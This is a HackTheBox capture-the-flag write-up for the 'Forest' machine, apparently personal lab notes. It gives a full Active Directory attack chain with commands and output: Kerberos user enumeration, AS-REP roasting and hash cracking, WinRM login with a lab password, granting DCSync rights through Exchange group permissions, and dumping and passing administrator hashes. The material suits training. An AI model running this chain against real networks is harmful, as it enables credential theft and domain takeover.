# Forest

| | |
|---|---|
| CTF | HackTheBox |
| Category | Writeup |
| Created | @July 31, 2021 9:00 PM |
| Date | |
| Description | |
| Fields | |
| Level | Easy |
| Tags | Active Directory, BloodHound, Kerberos, Windows |

## Info

### Credential

| User | Password | Service | Note |
|---|---|---|---|
| svc-alfresco | s3rvice | | |

## Path

### User

1. Found some valid usernames using `enum4linux` and `kerbrute`.

```
$ kerbrute_linux_amd64 userenum --dc forest.htb.local -d htb.local user.lst
2021/07/28 18:41:36 >  [+] VALID USERNAME:       Administrator@htb.local
```

```
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox968e74d@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailboxfc9daad@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox670628e@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailboxb01ac64@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox83d6781@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       lucinda@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailboxc3d7722@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailboxc0a90c9@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox0659cc1@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox6ded678@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       sebastien@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       mark@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       andy@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       santi@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailboxfd87238@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       HealthMailbox7108a4e@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       conda@htb.local
2021/07/28 18:41:37 >  [+] VALID USERNAME:       svc-alfresco@htb.local
2021/07/28 18:41:37 >  Done! Tested 32 usernames (19 valid) in 0.909 seconds
```

2. Do AS-REP roast and found the credential of user `svc-alfresco`.

   ( Attack Kerberos 102 )

```
$ cme ldap $ip --asreproast asrep.out -u user.lst -p ''
LDAP        10.10.10.161    389    FOREST           [*] Windows Server 2016 Standard
 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           $krb5asrep$23$svc-alfresco@HTB.LO
CAL:799e03f7d0300ff6f4ffe7b2b82972c2$aa4c5006fd923ff02eb77c03c83a93676140fddfc2324c32
4c133295598167ddb798d5378150e61603a2c355f4e8fadf5980bd990e1195ebccb499fd03100e2b51cdc
f7377c0802263fea4a8e0f4b7579dfbb573f02a7ade73a332a482a8baf8b6c10af256d30e64efc238deaf
ecfd503f1c4846a8708e12b2ba767f892b869d8b2768354e4ba0d6beb65d308f57e15cd95b5848368c476
81ef026c2ec7b2f4613d84b5c0bc02db39b6edd1bc926934fa79aa7dbefde715c1780f743103e9e79406b
c7db56756afd866be32d9d5732d191792f10d59125df335419a7f5e2ac9ae1558ed50ef7
$ hashcat -m 18200 asrep.out --force /path/to/rockyou.txt
```

3. We can list the shares with `svc-alfresco`'s credential.

```
$ smbclient -U svc-alfresco -L $ip
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
```

4. Run `evil-winrm` with the credential and get the user flag.

```
$ evil-winrm -i $ip -u svc-alfresco -p s3rvice
*Evil-WinRM* PS C:\\Users\\svc-alfresco> type Desktop/user.txt
```

## Root (follow lppsec - forest)

1. The user `svc-alfresco` can read `ntds.dit`, but not `SYSTEM` or `SAM`.
2. Run `BloodHound`.

   ( BloodHound )
3. Found `svc-alfresco` is in the group `Account Operators` and `Exchange Windows Permissions`, so we can create a user and add it to `Exchange Windows Permissions` group.

```
> net user ice ice1187 /add /domain
> net group "Exchange Windows Permissions" /add ice
```

4. Since the group `Exchange Windows Permissions` has the permission to modify the Directory ACL on the domain `htb.local`, we can use it to add the `DCsync` right to the user, then exploit it.

   ( Windows Knowledge)

```
$SecPassword = ConvertTo-SecureString 'ice1187' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\\ice', $SecPasswor
d)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIde
ntity ice -Rights DCSync
```

5. The user added has `DCsync` permission on the domain, we can dump the hashes, then login as admin.

   ( DCSync)

```
$ secretsdump.py htb.local/ice:ice1187@$ip
$ psexec.py htb.local\\administrator@$ip -hashes <lmhash:nthash>
```